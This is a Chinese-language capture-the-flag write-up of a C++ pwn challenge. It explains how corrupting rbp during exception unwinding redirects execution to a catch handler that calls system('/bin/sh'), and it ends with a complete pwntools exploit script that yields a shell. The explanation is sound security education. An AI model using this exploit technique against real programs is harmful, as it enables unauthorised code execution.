这一道题涉及到了C++异常处理(第一次遇到),我们来看看题是怎么回事。
1.初步看题
首先来看看保护:
我们可以看到有canary,但是没有开PIE,也就是地址没有随机变化。
然后来看看main函数:

菜单只有三个选项,我们先来看看Trace函数:

这里有几个点要注意,它可以创建9个,每一个可以放16个字节,但是我们进入byte_404020 里面可以看到这里存在一个漏洞:

截至到src 上面,结果只有0x80的空间大小,也就是8 * 16,因为我们能够创建9个,所以这里能够溢出16字节,可以覆盖掉src 里面的内容,这是我们找到的第一个漏洞点;函数剩余部分没什么明显问题。
我们接下来就来看Warn函数:

这里我们首先能够看到是这里的buf存在溢出,而且是超大溢出,但是我们这道题有canary,所以最开始首先想的是想办法泄露出canary。
我们发现,在这里如果写入超出buf大小的内容的话,他会对你进行提醒并且会输出"Buffer Overflow”的字样(这就是我们前面看到的src里面存储的内容),我们可能会想办法将canary写进src然后输出出来,但是现实情况是没有办法写进去,那么怎么办呢?
这个时候我们就注意到了这里面的异常处理函数了。
2.异常处理函数
C++的异常处理机制有三个关键字:throw、try和catch。
其中throw是抛出异常、try包含异常模块、catch捕获抛出的异常;这里给出一个代码来看看这三个大概什么意思:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include <iostream>using namespace std; double division(int a, int b){ if( b == 0 ) { throw "Division by zero condition!"; } return (a/b);} int main (){ int x = 50; int y = 0; double z = 0; try { z = division(x, y); cout << z << endl; }catch (const char* msg) { cerr << msg << endl; } return 0;} |
这里发生了除零异常,然后被catch捕获了,然后就会输出上面抛出的"Division by zero condition!"
大体意思是这样的,但是要做这个题我们还得更加细致得了解一下这个过程:
异常抛出:
在编译C++代码的时候,编译器会将throw替换成__CxxRTThrowExp 这类指定函数,通常与 __cxa_allocate_exception 和 __cxa_throw 等函数配合使用,完成分配、初始化、抛出异常的操作。__cxa_allocate_exception :是一个内部的 C++ 异常处理函数,用于在抛出异常时分配内存以存储异常对象;它会与__cxa_throw相互配合,__cxa_throw 函数在调用时会使用 __cxa_allocate_exception 来分配内存,然后复制异常对象到分配的内存中,并设置适当的异常处理上下文。异常对象处理完后就会使用__cxa_free_exception来释放内存

异常捕获机制:
我们知道异常抛出过后会被catch捕捉,但是要是当前函数里面没有catch,那么就会沿函数的调用链继续找catch。要是没有catch那么程序就会中止。
栈回退:
这个东西就比较有意思了,当程序将要进入 _cxa_throw函数的时候你会发现它值是main函数的rbp的值,并且在main函数结尾有catch字段:

这里就是我们异常过后catch的位置。我们跟进 _cxa_throw函数中,在执行 Unwind_RaiseException函数时,进行了栈回退,回退到到 Main函数时的 ebp并找到了 catch结构,此时会直接进入 catch结构里。
经过调试可以发现,当我们要是修改rbp地址的话,那么经过整个异常处理过程之后,他的rbp就会变成我们修改的地方。这不就和栈迁移很像了吗!
3.解决题目:
那么总结下来,我们有两种解决办法:
第一种是通过修改rbp控制程序流走向,到我们rop的位置
第二种是通过覆盖ret到另外一个有catch的handler处理
非常幸运的是我们在这个程序里面找到了一个catch有后门的:

那么我们可以覆盖ret地址为这里让他来获取我们的异常对象的指针(就是我们的src)
刚好前面能够修改src,我们可以将其修改成/bin/sh ;因为在异常处理或栈展开(unwinding)过程中,rax 通常用来存储异常对象的指针或其他关键数据。
那么这里会将rax → rdi,就完成了system(”/bin/sh”)的过程。
这里有一点要注意我们的rbp的地址覆盖的时候不能够随便覆盖,必须要合法,比如改成一个可写的地址:

那么我们的exp就是这个样子的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | from pwn import*from LibcSearcher import*from ctypes import*elf = ELF('./pwn')#libc = ELF('libc.so.6')libc = elf.libcjude = 0if jude == 1: node = 'www.xyctf.top/api/proxy/072c17a6-5497-4758-9d77-071f90c650ff' num = 48565 p = remote(node,num)else: p = process('./pwn')system_adr = 0bin_sh = 0libc_base = 0def ret2csu(pop_addr,mov_adr,fun_addr,rdi,rsi,rdx): p = p64(pop_addr) p += p64(0) + p64(1) + p64(fun_addr) +p64(rdi) +p64(rsi) +p64(rdx) +p64(mov_adr) p += b'a'*56 return pli = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def rv(num): return p.recv(num) def pr(): print(p.recv()) def ru(a): return p.recvuntil(a) def inter(): p.interactive() context(os='linux', arch='amd64', log_level='debug') def g(): gdb.attach(r)def get_addr(arch): if arch == 64: return u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) else: return u32(p.recvuntil(b'\xf7'))def leaklibc(way,func_adr,name,libc): if way == 'LibcSearcher': libc = LibcSearcher('name',func_adr) libc_base = func_adr - libc.dump(name) system_adr = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh') else: libc_base = func_adr - libc.sym[name] system_adr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) return libc_base , system_adr ,bin_shdef heaplibc(libc_base,libc): system_adr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) free_hook = libc_base + libc.sym['__free_hook'] malloc_hook = libc_base + libc.sym['__malloc_hook'] return system_adr,bin_sh,free_hook,malloc_hookret = 0x04019C9 for i in range(8): sla("Your chocie:",b'1') sla("You can record log details here:",b'a'*16) sla("Do you need to check the records?",b'y')#gdb.attach(p)sla("Your chocie:",b'1')pl = b'/bin/sh'sla("You can record log details here:",pl)sla("Do you need to check the records?",b'y')sla("Your chocie:",b'2')#gdb.attach(p)pl2 = b'a'*0x70 + p64(0x00404700) + p64(0x0401BC7)sla("Type your message here plz:",pl2)p.interactive() |
效果:
